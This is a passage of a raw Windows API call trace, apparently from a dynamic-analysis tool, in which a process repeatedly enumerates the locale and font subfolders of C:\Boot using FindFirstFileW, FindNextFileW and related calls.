lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0077.325] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.325] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.325] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.326] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.326] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.326] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0077.326] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.326] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.326] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.326] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.326] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.326] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0077.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.327] GetFileAttributesExW (in: lpFileName="C:\\Boot\\el-GR" (normalized: "c:\\boot\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29860b80, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29860b80, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29860b80, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.327] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0077.327] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.327] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.327] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.327] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.327] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.328] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0077.328] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.328] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.328] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.328] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.328] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.328] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0077.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.328] GetFileAttributesExW (in: lpFileName="C:\\Boot\\en-US" (normalized: "c:\\boot\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29860b80, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29860b80, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29860b80, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.329] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0077.329] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.329] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.329] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.330] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0077.330] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.330] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.330] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.330] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0077.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.330] GetFileAttributesExW (in: lpFileName="C:\\Boot\\es-ES" (normalized: "c:\\boot\\es-es"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29860b80, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29886ce0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29886ce0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.331] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0077.331] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.331] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.332] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.332] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0077.332] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.332] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.332] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.332] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0077.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.332] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29886ce0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29886ce0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29886ce0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.333] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0077.333] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.333] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.333] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.333] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.333] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.333] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0077.333] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9798 [0077.334] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.334] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.334] FindNextFileW (in: hFindFile=0x6fe9798, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.334] FindClose (in: hFindFile=0x6fe9798 | out: hFindFile=0x6fe9798) returned 1 [0077.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.334] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0077.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.334] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x299453c0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29ac2180, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29ac2180, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.449] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0077.449] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.449] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.449] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.450] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0077.450] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.450] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.450] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.450] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.450] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0077.450] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.450] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29886ce0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29886ce0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29886ce0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.451] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0077.451] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.451] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.451] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.451] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.451] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.451] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.451] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0077.451] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.452] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.452] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.452] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.452] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.452] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.452] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0077.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.452] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU" (normalized: "c:\\boot\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29886ce0, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x29886ce0, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x29886ce0, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.453] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.453] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0077.453] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.454] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.454] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0077.454] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0077.454] FindNextFileW (in: hFindFile=0x6fe9558, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0077.454] FindClose (in: hFindFile=0x6fe9558 | out: hFindFile=0x6fe9558) returned 1 [0077.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0077.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0077.454] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0077.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0077.454] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT" (normalized: "c:\\boot\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x298ace40, ftCreationTime.dwHighDateTime=0x1d2e6c8, ftLastAccessTime.dwLowDateTime=0x298ace40, ftLastAccessTime.dwHighDateTime=0x1d2e6c8, ftLastWriteTime.dwLowDateTime=0x298ace40, ftLastWriteTime.dwHighDateTime=0x1d2e6c8, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0077.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0077.455] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0077.455] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fe9558 [0077.455] FindNextFileW (in: 